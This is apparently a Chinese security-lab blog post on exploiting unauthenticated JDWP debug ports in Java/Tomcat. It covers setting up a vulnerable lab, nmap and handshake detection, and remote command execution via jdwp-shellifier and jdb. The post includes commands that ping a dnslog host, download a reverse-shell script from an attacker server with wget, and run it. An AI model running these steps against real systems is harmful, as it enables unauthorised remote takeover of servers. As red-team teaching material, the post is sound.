点击蓝字
关注我们
日期:2024年09月13日 作者:Yukong 介绍:攻防演练常常会教育我们不要忽略任何一个细节……
0x00 前言
为期两周的攻防演练面对成百上千的ip
,以及成千上万的开放端口眼都要花了。等等!这是什么东西,让俺老孙瞅上一瞅。
0x01 漏洞简介
1.1 什么是JDWP
JDWP
是 Java
调试系统的组件之一,称为Java
平台调试架构(JPDA)
。Debuggee
由一个运行我们的目标应用程序的多线程 JVM
组成。它允许调试器通过网络连接到正在运行的Java
虚拟机(JVM)
上,并执行诊断和调试操作。JDWP
协议使用基于TCP
的网络通信,并采用二进制格式进行数据传输。
1.2 漏洞原理
JDWP
未授权漏洞的原理通常是由于JVM
在默认配置下启用了JDWP
,并将JDWP
端口暴露在网络上,攻击者可以利用这个开放的端口进行攻击。攻击者可以通过JDWP
协议向JVM
发送指令,从而控制JVM
并执行恶意代码。攻击者还可以利用JDWP
协议中的命令获取JVM
中的敏感信息,例如类名、方法名、变量名等。
0x02 漏洞环境搭建
(1)下载Tomcat
环境
官网下载Tomcat8.5.43
:https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.43/bin/
,下载解压缩版。
(2)解压Tomcat8.5.43
unzip apache-tomcat-8.5.43.zip
(3)修改配置文件,开启debug
,并且向互联网开放端口
cd
到apache-tomcat-8.5.43/bin
目录下,修改配置文件catalina.sh
,在第一行加入JAVA_OPTS="$JAVA_OPTS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000"
(4)开启漏洞环境
./startup.sh
但出现这些信息,证明环境已启动,并且访问8080
端口可以看到Tomcat
页面。
0x03 漏洞复现
3.1 端口探测
(1)使用nmap
探测端口,会识别到JDWP
服务
nmap -sT -sV IP
(2)使用端口扫描工具可以扫描到JWDP
服务
3.2 漏洞发现
(1)当我们发现存在JDWP
服务时,可以使用Telnet
命令探测,当输入JDWP-Handshake
时,服务端返回一样的内容,证明漏洞存在。
(2)没有Telnet也
可以使用NC
3.3 漏洞利用
1、使用GitHub
上已有的工具:https://github.com/IOActive/jdwp-shellifier
ping dnslog
python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof" --cmd "ping bmzjs8gi.eyes.sh"
(1)远程下载文件,反弹shell
vps
准备反弹shell
文件,保存为shell.txt
(2)使用python
开启8999
端口
python3 -m http.server 9998
(3)远程下载文件,并保存为可执行文件
python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof" --cmd "wget http://IP:9998/shell.txt -O /tmp/shell.sh"
(4)执行文件,反弹shell
# 添加执行权限
python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof" --cmd "chmod a+x /tmp/shell.sh"
# 执行命令
python2 jdwp-shellifier.py -t [IP] -p [Port] --break-on "java.lang.String.indexof" --cmd "./tmp/shell.sh"
2、直接执行base64
编码后的反弹shell
命令
3、使用jdb
执行命令
jdb
使用手册:https://pxzxj.github.io/articles/jdb.html
(1)连接远程jwdp
端口
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.182.130,port=8000
(2)threads
查看看所有线程
(3)thread [id]
选择休眠的线程
(4)stepi
进入该线程,并且通过eval
执行Java
表达式从而达成命令执行
eval java.lang.Runtime.getRuntime().exec("ping bmzjs8gi.eyes.sh")
0x03 总结
通常我们会结合目标机器的网络环境以及安全设备选择正向的连接或者免杀shell
的传入,这时候就可以选择更加灵活Metasploit
来帮助我们达到目的。执行命令的方式当然不止这几种,这就考验我们平时知识的积累了。
点此亲启
原文始发于微信公众号(宸极实验室):『红蓝对抗』JDWP未授权getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论